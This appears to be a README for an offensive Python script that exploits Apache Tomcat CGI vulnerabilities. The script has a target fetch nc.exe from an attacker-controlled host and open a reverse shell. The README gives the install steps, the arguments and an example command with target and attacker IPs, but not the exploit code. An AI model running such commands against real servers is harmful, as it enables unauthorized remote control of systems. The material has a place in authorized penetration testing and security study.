Apache Tomcat CGI Exploit Script

Description

A Python script designed to exploit CGI vulnerabilities in Apache Tomcat servers by executing a reverse shell connection.

Usage Example

Features

• Automated exploit for Apache Tomcat CGI vulnerabilities
• Customizable target and attacker parameters
• Simple command-line interface

Prerequisites

• Python 3.x
• requests library
• Netcat (nc.exe)
• Access to a listener to receive the reverse shell

Installation

git clone <repository-url>
cd <repository-directory>
pip install requests

Usage

python3 tomcat_cgi_exploit.py -t <TARGET_IP> -i <ATTACKER_IP> -ncp <REVERSE_SHELL_PORT>

Required Arguments

• -t, --target: Target IP address with Apache Tomcat
• -i, --ip: Attacker IP address hosting nc.exe
• -ncp, --nc-port: Port for the reverse shell connection

Optional Arguments

• -p, --port: Target port (default: 8080)
• -sp, --server-port: Server port for hosting nc.exe (default: 80)
• -cgi, --cgi-script: Name of the CGI script to exploit (default: cmd.bat)

Example

python3 tomcat_cgi_exploit.py -t 192.168.1.100 -i 192.168.1.50 -ncp 4444

Legal Disclaimer

This tool is provided solely for educational purposes and authorized penetration testing. The author and contributors are not responsible for any misuse or damage caused by this script. Always obtain proper authorization before testing any system.

Author

• Jose Miguel Romero (k3Pn1c)